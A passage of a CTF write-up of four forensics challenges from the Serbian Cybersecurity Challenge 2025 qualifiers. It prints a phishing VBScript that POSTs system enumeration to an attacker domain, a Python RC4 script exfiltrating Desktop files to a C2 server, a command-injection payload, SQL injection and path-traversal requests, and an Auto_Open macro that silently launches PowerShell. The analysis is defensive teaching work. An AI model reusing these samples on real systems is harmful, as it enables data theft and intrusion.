Serbian Cybersecurity Challange 2025 - Qualifications - Forensics Writeups
Writeups for forensics challenges from this years SCC 25 Quals.
Challenges
- Challenges
- Forensics / The Intruder’s Message (very easy)
- Forensics / Unseen Breach (easy)
- Forensics / Alarming Evidence (easy)
- Description
- 🕵️♂️ Solution
- 1. What is the website’s fully qualified domain name that was targeted in the attack?
- 2. According to the evidence, what is the IP address associated with the attacker?
- 3. What is the complete name of the attacker’s Internet Service Provider (ISP)?
- 4. Specify the attacker’s browser name and version. (Format: BrowserName_Version)
- 5. Which operating system is being used by the attacker?
- 6. Which tool and version did the attacker employ to execute the first stage of the attack? (Format: ToolName_Version)
- 7. Identify the name of the technique used by the attacker in the initial phase of the attack. (Case-insensitive)
- 8. Which payload for the password field successfully bypassed the security in the first phase of the attack?
- 9. Which route did the attacker utilize during the second stage of the attack?
- 10. Which sensitive file did the attacker discover in the second phase of the attack?
- Forensics / Cells of Deception (medium)
Forensics / The Intruder’s Message (very easy)
Description
It was a bright, sunny morning when Cyber Hero, an experienced security analyst at Infinity Security Solutions, was jolted awake by his phone’s ringtone. On the other end was his longtime friend Andrew, who sounded uneasy. Andrew quickly explained that something was off with their network and urged Cyber Hero to check his email immediately. Without hesitation, Cyber Hero dashed to his laptop, only to find a very strange email waiting for him. Now, he has turned to you, a cybersecurity expert, to help protect his network. The fate of his system rests in your hands.
🕵️♂️ Solution
In this challenge, we receive an .eml
file (Electronic Mail format), which can be easily opened in any text editor. Within the file, we can see all the email-related information, including attachments. The main body of the email itself doesn’t contain any relevant clues; instead, the suspicious attachment—a .vbs
file — is the key.
For better readability, it’s convenient to use specialized tools. I used EML Viewer to inspect the email more clearly.
Next, we download the attachment and open it in a text editor.
We notice an obfuscated VBScript code. The script uses the Execute
function, passing a heavily obfuscated string. To bypass this obfuscation and reveal the executed code, we can replace the Execute
command with MsgBox
.
When we run the modified script, it will display the unobfuscated code in a popup window. We can then use any OCR tool to extract this source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Option Explicit
Dim RA7, R5x, RY2
Dim Q3x, QS2, Qn7
Dim UJ4, Ui9, Q0P, LZ3
Dim eX6
Set RA7 = CreateObject("WScript.Shell")
Q3x = "whoami"
Set R5x = RA7.Exec("cmd /c " & Q3x)
RY2 = R5x.StdOut.ReadAll
QS2 = "ipconfig /all"
Set R5x = RA7.Exec("cmd /c " & QS2)
RY2 = RY2 & vbCrLf & R5x.StdOut.ReadAll
Qn7 = "systeminfo"
Set R5x = RA7.Exec("cmd /c " & Qn7)
RY2 = RY2 & vbCrLf & R5x.StdOut.ReadAll
UJ4 = "55304e44657a46754e334a315a444e795833567562545131617a4e6b66513d3d"
Ui9 = v3H(UJ4)
Q0P = "https://inf1nitysecupdate"
LZ3 = ".scc/data/new?secret="
eX6 = Q0P & LZ3 & Ui9
Set R5x = CreateObject("MSXML2.XMLHTTP")
R5x.Open "POST", eX6, False
R5x.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
R5x.Send "data=" & RY2
Set R5x = Nothing
Set RA7 = Nothing
Function v3H(X)
Dim i, T
T = ""
For i = 1 To Len(X) Step 2
T = T & Chr(CLng("&H" & Mid(X, i, 2)))
Next
v3H = T
End Function
Analyzing the extracted VBScript, we observe the following behavior:
- It performs system enumeration by executing
whoami
,ipconfig /all
, andsysteminfo
. - The variable
UJ4
contains a hex-encoded string, decoded into plain text using thev3H
function. - The script then sends a POST request containing the collected data to
https://inf1nitysecupdate.scc/data/new?secret=
concatenated with the decoded secret token. - The secret token (
Ui9
) derived from the hex string likely holds important clues.
When we decode this hex string in CyberChef, we uncover the following message:
SCC{1n7rud3r_unm45k3d}
Forensics / Unseen Breach (easy)
Description
Infinity Security Solutions recently launched a web platform that allows users to verify file hashes to check if their files are infected. However, shortly after the launch, strange incidents began to occur. Computers started shutting down on their own, and employees reported random pop-up windows. Cyber Hero noticed unusual network activity a few days ago, suggesting that someone may have gained unauthorized access. Now, the task falls to you, the cybersecurity expert, to investigate and solve this mystery.
🕵️♂️ Solution
In this challenge, we’re provided with a .pcap
file for analysis. To examine network traffic, we can use Wireshark, a widely-used tool for packet capture and analysis.
Opening the PCAP, I found TCP traffic consisting of 173 packets.
To understand the scenario, I started by inspecting the first TCP stream. From the second stream onward, the attacker repeatedly targeted the /api/verify
endpoint.
In the fourth stream, we clearly identify successful command injection:
{“hash”: “5f4dcc3b5aa765d61d8327deb882cf99 & pwd”}
The attacker then continued, executing several additional commands to enumerate the compromised system.
In the tenth stream, the attacker sends a large payload that is decoded, saved as a Python script, and executed:
echo "import base64; exec(base64.b64decode(‘
'))\" > ~/Desktop/exploit.py & /bin/bash -c 'python3 ~/Desktop/exploit.py'"}
We can copy this payload into CyberChef and decode it.
After decoding, we obtain the following Python code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import socket
import os
import random
import string
def rc4(key, data):
S = list(range(256))
j = 0
out = []
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = 0
j = 0
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(out)
def generate_key():
return "".join(random.choices(string.ascii_letters + string.digits, k=16)).encode()
def healthcheck(host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn:
conn.connect((host, port))
conn.sendall(b"healthcheck")
conn.recv(1024)
def send_file(host, port, path):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn:
conn.connect((host, port))
conn.sendall(b"file")
conn.sendall(b"key")
key = generate_key()
conn.sendall(key)
filename = os.path.basename(path).encode()
conn.sendall(filename.ljust(256, b"\x00"))
with open(path, "rb") as f:
data = f.read()
encrypted = rc4(key, data)
conn.sendall(encrypted)
def main():
host = "192.168.56.104"
port = 4444
healthcheck(host, port)
desktop_path = os.path.join(os.path.expanduser("~"), "Desktop")
for root, dirs, files in os.walk(desktop_path):
for file_name in files:
if file_name.endswith(".pdf") or file_name == "flag.txt":
full_path = os.path.join(root, file_name)
send_file(host, port, full_path)
main()
Upon analyzing the decoded script, we find that:
- The script uses RC4 encryption to send files.
- Communication occurs over a TCP connection.
- The script connects to a C2 server at
192.168.56.104:4444
. - It attempts to exfiltrate all
.pdf
files and a specific file namedflag.txt
located on the desktop. - A random encryption key is generated separately for each file and transmitted before sending the encrypted data.
We can now further investigate the PCAP file to track subsequent actions.
In the eleventh stream, we observe a “healthcheck” request sent to the C2 server:
The twelfth stream clearly shows the transmission of the flag.txt
file along with the encryption key used:
filekey AznczVyNZD7sBqJO flag.txt
Now we can extract and decrypt the flag.txt
file using RC4 encryption with the provided key.
We extract the encrypted data by switching Wireshark’s display mode from ASCII to RAW and removing excess bytes.
SCC{c0mm4nd_1nj3c710n_r3v34l3d}
Forensics / Alarming Evidence (easy)
Description
DING! DING! DING! The sudden, unsettling sound reverberated through the office, sending everyone into a state of alarm. A newly installed security alert had been triggered by an intruder on one of Infinity Security Solutions’ servers. Within moments, the forensic team raced to the server room, disconnected the compromised system from the network, and extracted its logs. They’ve archived everything and handed it over to you for further investigation. Can you examine the logs, identify whether an attack took place, and, if so, figure out the attacker’s objective by answering a series of critical questions? The fate of this investigation rests in your hands.
🕵️♂️ Solution
The challenge provides an access.log
file, which is an Nginx log capturing HTTP requests.
1. What is the website’s fully qualified domain name that was targeted in the attack?
Upon examining the log file, it becomes evident that all HTTP requests are directed to a single domain.
192.168.10.21 - - [24/Mar/2025:10:00:00 +0000] "GET / HTTP/1.1" 200 2843 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
198.51.100.101 - - [24/Mar/2025:10:00:03 +0000] "GET /css/styles.css HTTP/1.1" 200 948 "http://infinitysolutions.scc/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
198.51.100.102 - - [24/Mar/2025:10:00:07 +0000] "GET /js/main.js HTTP/1.1" 200 3234 "http://infinitysolutions.scc/" "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0"
10.0.0.5 - - [24/Mar/2025:10:00:11 +0000] "GET /images/logo.png HTTP/1.1" 200 15432 "http://infinitysolutions.scc/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
192.168.10.21 - - [24/Mar/2025:10:00:14 +0000] "GET /blog HTTP/1.1" 200 4051 "http://infinitysolutions.scc/" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko"
Answer:
infinitysolutions.scc
2. According to the evidence, what is the IP address associated with the attacker?
A thorough review of the log file reveals several suspicious entries—all originating from the same IP address.
105.51.2.220 - - [24/Mar/2025:10:02:19 +0000] "GET /login?username=admin&password=' OR '1'='1'-- HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:20 +0000] "GET /login?username=admin&password=' OR 1=1-- HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:21 +0000] "GET /login?username=admin&password=\" OR \"1\"=\"1 HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:22 +0000] "GET /login?username=admin&password=' OR 'a'='a HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:23 +0000] "GET /login?username=admin&password=' OR ''=' HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:24 +0000] "GET /login?username=admin&password=' OR 'x'='x HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:25 +0000] "GET /login?username=admin&password=' OR 1=1# HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:26 +0000] "GET /login?username=admin&password=' OR '1'='1/* HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
<SNIP>
105.51.2.220 - - [24/Mar/2025:10:15:21 +0000] "GET /blog/admin?page=../../../../etc/hosts HTTP/1.1" 404 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:15:26 +0000] "GET /blog/admin?page=../../../../var/log/apache2/access.log HTTP/1.1" 404 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
198.51.100.101 - - [24/Mar/2025:10:15:29 +0000] "GET /about HTTP/1.1" 200 2861 "http://infinitysolutions.scc/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3)"
105.51.2.220 - - [24/Mar/2025:10:15:33 +0000] "GET /blog/admin?page=../../../../etc/passwd%00 HTTP/1.1" 200 1240 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
Answer:
105.51.2.220
3. What is the complete name of the attacker’s Internet Service Provider (ISP)?
Using an online IP lookup service, the details for the given IP address confirm that the attacker’s ISP is:
Answer:
Safaricom Limited
4. Specify the attacker’s browser name and version. (Format: BrowserName_Version)
The user agent string from the logs reveals that the attacker used the Chrome browser. Detailed parsing indicates:
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Browser
Name: Chrome
Version: 88.0.4324.
Device
Model: unknown
Type: unknown
Vendor: unknown
Engine
Name: Blink
Version: 88.0.4324.
OS
Name: Linux
Version: x86_64
CPU
Architecture: amd64
Answer:
Chrome_88.0.4324.96
5. Which operating system is being used by the attacker?
The same user agent string confirms that the attacker is operating on Linux.
Answer:
Linux
6. Which tool and version did the attacker employ to execute the first stage of the attack? (Format: ToolName_Version)
05.51.2.220 - - [24/Mar/2025:10:02:18 +0000] "GET /login?username=admin&password=' OR '1'='1 HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:19 +0000] "GET /login?username=admin&password=' OR '1'='1'-- HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:20 +0000] "GET /login?username=admin&password=' OR 1=1-- HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:21 +0000] "GET /login?username=admin&password=\" OR \"1\"=\"1 HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:22 +0000] "GET /login?username=admin&password=' OR 'a'='a HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:23 +0000] "GET /login?username=admin&password=' OR ''=' HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:24 +0000] "GET /login?username=admin&password=' OR 'x'='x HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:25 +0000] "GET /login?username=admin&password=' OR 1=1# HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:26 +0000] "GET /login?username=admin&password=' OR '1'='1/* HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:27 +0000] "GET /login?username=admin&password=' OR '1'='1'-- HTTP/1.1" 302 203 "http://infinitysolutions.scc/login" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:28 +0000] "GET /login?username=admin&password=\" OR \"x\"=\"x HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:29 +0000] "GET /login?username=admin&password=' OR 'test'='test HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:30 +0000] "GET /login?username=admin&password=' OR '1'='2' OR '1'='1 HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:31 +0000] "GET /login?username=admin&password=' OR 1=1--+ HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:32 +0000] "GET /login?username=admin&password=' OR 'admin'='admin HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:33 +0000] "GET /login?username=admin&password=' OR '1'='1'/* HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:34 +0000] "GET /login?username=admin&password=' OR 'x'='x'-- HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:35 +0000] "GET /login?username=admin&password=' OR 1=1 LIMIT 1-- HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:36 +0000] "GET /login?username=admin&password=' OR '1'='1'-- - HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
105.51.2.220 - - [24/Mar/2025:10:02:37 +0000] "GET /login?username=admin&password=' OR 'foo'='foo HTTP/1.1" 200 1581 "-" "sqlmap/1.6.2#stable (http://sqlmap.org)"
The log entries clearly show that the attacker utilized sqlmap to perform SQL injection attempts.
sqlmap/1.6.2#stable (http://sqlmap.org)
Answer:
sqlmap_1.6.2
7. Identify the name of the technique used by the attacker in the initial phase of the attack. (Case-insensitive)
The attacker exploited a vulnerability in the login form by injecting SQL commands into the password field. This technique is widely known as:
Answer:
SQL Injection
8. Which payload for the password field successfully bypassed the security in the first phase of the attack?
Among the various attempts recorded, one payload stands out due to its resulting 302 redirect response. That payload is:
105.51.2.220 - - [24/Mar/2025:10:02:27 +0000] "GET /login?username=admin&password=' OR '1'='1'-- HTTP/1.1" 302 203 "http://infinitysolutions.scc/login" "sqlmap/1.6.2#stable (http://sqlmap.org)"
Answer:
' OR '1'='1'--
9. Which route did the attacker utilize during the second stage of the attack?
The logs indicate that during the second phase, the attacker targeted the /blog/admin
route.
105.51.2.220 - - [24/Mar/2025:10:15:00 +0000] "GET /blog/admin?page=dash.html HTTP/1.1" 200 3250 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:15:03 +0000] "GET /blog/admin?page=../etc/passwd HTTP/1.1" 404 1240 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:15:06 +0000] "GET /blog/admin?page=../../etc/passwd HTTP/1.1" 404 1240 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:15:09 +0000] "GET /blog/admin?page=../../../etc/passwd HTTP/1.1" 404 1240 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:15:12 +0000] "GET /blog/admin?page=../../../../etc/passwd HTTP/1.1" 200 1240 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
192.168.10.23 - - [24/Mar/2025:10:15:15 +0000] "GET /blog HTTP/1.1" 200 4051 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3)"
105.51.2.220 - - [24/Mar/2025:10:15:17 +0000] "GET /blog/admin?page=../../../../etc/shadow HTTP/1.1" 404 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:15:21 +0000] "GET /blog/admin?page=../../../../etc/hosts HTTP/1.1" 404 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:15:26 +0000] "GET /blog/admin?page=../../../../var/log/apache2/access.log HTTP/1.1" 404 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
198.51.100.101 - - [24/Mar/2025:10:15:29 +0000] "GET /about HTTP/1.1" 200 2861 "http://infinitysolutions.scc/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3)"
105.51.2.220 - - [24/Mar/2025:10:15:33 +0000] "GET /blog/admin?page=../../../../etc/passwd%00 HTTP/1.1" 200 1240 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:15:37 +0000] "GET /blog/admin?page=../../../../etc/passwd?debug=true HTTP/1.1" 200 1240 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:15:41 +0000] "GET /blog/admin?page=../../../../var/www/html/config.php HTTP/1.1" 404 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
192.168.10.21 - - [24/Mar/2025:10:15:45 +0000] "GET /home HTTP/1.1" 200 2843 "http://infinitysolutions.scc/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
105.51.2.220 - - [24/Mar/2025:10:15:53 +0000] "GET /blog/admin?page=../../../../secret/config.ini HTTP/1.1" 404 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:15:57 +0000] "GET /blog/admin?page=../../../../secret/hidden.txt HTTP/1.1" 404 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
10.0.0.5 - - [24/Mar/2025:10:16:00 +0000] "GET /contact HTTP/1.1" 200 3142 "-" "Mozilla/5.0 (Linux; Android 11)"
105.51.2.220 - - [24/Mar/2025:10:16:03 +0000] "GET /profile HTTP/1.1" 200 3120 "http://infinitysolutions.scc/dashboard" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:16:07 +0000] "GET /blog/admin?page=../../../../secret/api_keys.txt HTTP/1.1" 200 980 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
105.51.2.220 - - [24/Mar/2025:10:16:15 +0000] "GET /blog/admin?page=../../../../secret/nonexistent.txt HTTP/1.1" 404 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
Answer:
/blog/admin
10. Which sensitive file did the attacker discover in the second phase of the attack?
The logs confirm that the attacker successfully accessed the api_keys.txt
file, as evidenced by the 200 status code.
105.51.2.220 - - [24/Mar/2025:10:16:07 +0000] "GET /blog/admin?page=../../../../secret/api_keys.txt HTTP/1.1" 200 980 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
Answer:
api_keys.txt
SCC{4l4rm_tr1gg3r3d_intrus10n_c0nfirm3d}
Forensics / Cells of Deception (medium)
Description
Recently, your organization discovered unusual behavior on multiple systems. After a thorough investigation, the team traced a series of suspicious activities back to an Excel document found on a compromised workstation. Alarmed by unauthorized network connections and unexpected file modifications, forensic experts quickly isolated the file for closer examination. They believe its contents may hold vital clues about the nature of the intrusion. Now, it’s up to you to examine every cell, uncover hidden clues, and piece together the mystery behind this attack.
🕵️♂️ Solution
In this challenge, we’re provided with a suspicious Excel document. Opening it, we immediately see a warning about macros.
Since I’m analyzing in a secure virtual machine, I enabled macros and navigated to the Developer tab to inspect the VBA source code..
Inside, there’s a single macro named Auto_Open
, which executes automatically when the document is opened.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Set sheet = ThisWorkbook.Sheets("DNnh129ima84ne")
scriptContent = ""
Dim cellValue
cellValue = sheet.Cells(201, 390).Value
scriptContent = scriptContent & cellValue
cellValue = sheet.Cells(362, 956).Value
scriptContent = scriptContent & cellValue
<SNIP>
scriptContent = scriptContent & cellValue
cellValue = sheet.Cells(624, 277).Value
scriptContent = scriptContent & cellValue
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set tempFolder = objFSO.GetSpecialFolder(2)
ps1Path = tempFolder & "\ZwiWoYmL.ps1"
Set ps1File = objFSO.CreateTextFile(ps1Path, True)
ps1File.Write scriptContent
ps1File.Close
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell.exe -ExecutionPolicy Bypass -File "" & ps1Path & """, 0
This macro retrieves values from specific cells and concatenates them into a string, which it then writes into a PowerShell script (ZwiWoYmL.ps1
) in the temporary folder and executes silently in the background. This script likely contains the malicious payload.
To safely analyze this further, I removed the last two lines of the macro, preventing the script’s execution but still allowing it to be created in the temporary folder.
The resulting PowerShell script looks like this:
1
$e = [System.Convert]::FromBase64String('JG9iZnVzY2F0ZWQgPSAkKFtjaGFyW11dKCJgJCIsJ2onLCc3JywnTicsJ3gnLCdaJywnMycsJ0knLCdVJywnZicsJ1EnLCdmJywnaicsJzUnLCdpJywnbCcsJ1cnLCdPJywndicsJ1MnLCdlJywnSicsJ3InLCd4JywnVCcsJzEnLCdTJywnSycsJ2InLCdqJywnYicsJ2EnLCdsJywnQycsJ0UnLCdrJywnWicsJzInLCc2JywnTScsJ2YnLCc2JywnTicsJ2MnLCczJywnQicsJ2UnLCcxJywnUScsJzknLCc1JywnaCcsJ2QnLCcwJywnTicsJ1knLCdnJywncScsJ3gnLCdJJywnaScsJ0wnLCdPJywnNycsJ1AnLCdoJywnZCcsJ1UnLCdmJywnbycsJ2onLCdzJywneicsJ3QnLCcwJywnUycsJ0YnLCdQJywnbicsJ2EnLCdUJywndCcsJ1UnLCcyJywnUicsJ2knLCczJywnQycsJzknLCcxJywnYicsJ3AnLCc1JywnYScsJ3InLCdoJywnMycsJ0InLCdoJywnZScsJ3AnLCc1JywnZCcs <SNIP> mZ1c2NhdGVk'); $obfuscated = [System.Text.Encoding]::UTF8.GetString($e); Invoke-Expression $obfuscated
The payload is heavily obfuscated, but luckily, it’s simply Base64-encoded. Decoding it gives us another obfuscated piece of PowerShell code:
1
$obfuscated = $([char[]]("`$",'j','7','N','x','Z','3','I','U','f','Q','f','j','5','i','l','W','O','v','S','e','J','r','x','T','1','S','K','b','j','b','a','l','C','E','k','Z','2','6','M','f','6','N','c','3','B','e','1','Q','9','5','h','d','0','N','Y','g','q','x','I','i','L','O','7','P','h','d','U','f','o','j','s','z','t','0','S','F','P','n','a','T','t','U','2','R','i','3','C','9','1','b','p','5','a','r','h','3','B','h','e','p','5','d','c','B','S','i','K','X','S','5','s','E','i','z','P','A','z','L','D','0','v','c','S','Q','5','k','F','5','Z','W','b','I','R','y','X','m','h','X','d','z','u','9','U','D','6','Y','d','l','I','B','J','x','w','N','q','s','d','0','3','r','4','O','y','K','c','5','e','J','x','C','I','E','J','u', <SNIP> ,'D','c','I','I','z','4',"`n") -join ''); Invoke-Expression $obfuscated
This code is again obfuscated by joining individual characters into a string.
1
2
3
4
5
$j7NxZ3IUfQfj5ilWOvSeJrxT1SKbjbalCEkZ26Mf6Nc3Be1Q95hd0NYgqxIiLO7PhdUfojszt0SFPnaTtU2Ri3C91bp5arh3Bhep5dcBSiKXS5sEizPAzLD0vcSQ5kF5ZWbIRyXmhXdzu9UD6YdlIBJxwNqsd03r4OyKc5eJxCIEJu6rL9LV7ZGXzoGAfcnBDRNPcZpTGV6Y1Oaje7efjkrhUobUdWPkaFDeDc3CTus6fhusIoSOqN2n4zkQAOdgvWXStDRDsZ95f682Bwj4opMGWOmzSlnpM9IEZaCvtxlxjZSiSBfHBp1k2gPbQh7d06dGq6LmuojhOXxylZCCWTRP9r7gvAlgwMdGECgpJD5abV58CO6BBpMONzQitnRaJxcbJtEaMyiPTTdQSWcHDB3KUfRblIkgKMhgqGGCoE3JXc6eMv7XAmWk5rhNzLZPUaoFFK0jI6omMaVEkCvmsVs5WDFzvvpxd8Rj0BkMeSMz2OHPiLwU5FyuT6ZYnyUxwtAPoPT5BDonuJzQVOTxT7bNr4H5ptMajDXkquSB9ffDh11SDi6dEfgTZb7nvsLjZLNpkAAtoenguwFFpRoDTiwnLzR4QD5QmK6C9x7pKt9ATPhx8dl9xYRSTrGJfRfzNkiutqSbDn3s1omEIDs09CyFXlItqhHakYMctVS7e46B71Bnaot1YYsZLziu6rb5WsiWqlZKVpozkj7EunBzpewZWanRP1QnjHSoNfz4dfRFLQ3Abgpwh2qN8U14tSav1PGrBCc2ocd3PyDUg9dnwPIMMGMo6EczD3WMLpWA3tvQkzDojsPDuFuZGcdgw3ZvqtCGwVQ7jsCFZ058OYNkHjMTiBuu3x29OBg0tWm8uAQ4rTOihBbYLJ8jBpUjr47rUz5npQIK4IYjyWsEY1sW9eiUu1UXVn1tqi = "`G"
<SNIP>
$g6nWX4VJN9p8nJ6KvqVLEqjGaJjpYFEKyvbCnPSC6bcJ9ynb3rSIHPx73cTR63bu1guRKuL6nnadpHceOniD0R5tdj3mJdczDpzg8XDilJmf1TjVZmlUplhDcIIz4
With some manual cleaning (or using GPT or other scripting tools for speed), we reveal a cleaner PowerShell script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
function ApplyXorCipher($inputString, $xorKey) {
$xorKeyLength = $xorKey.Length
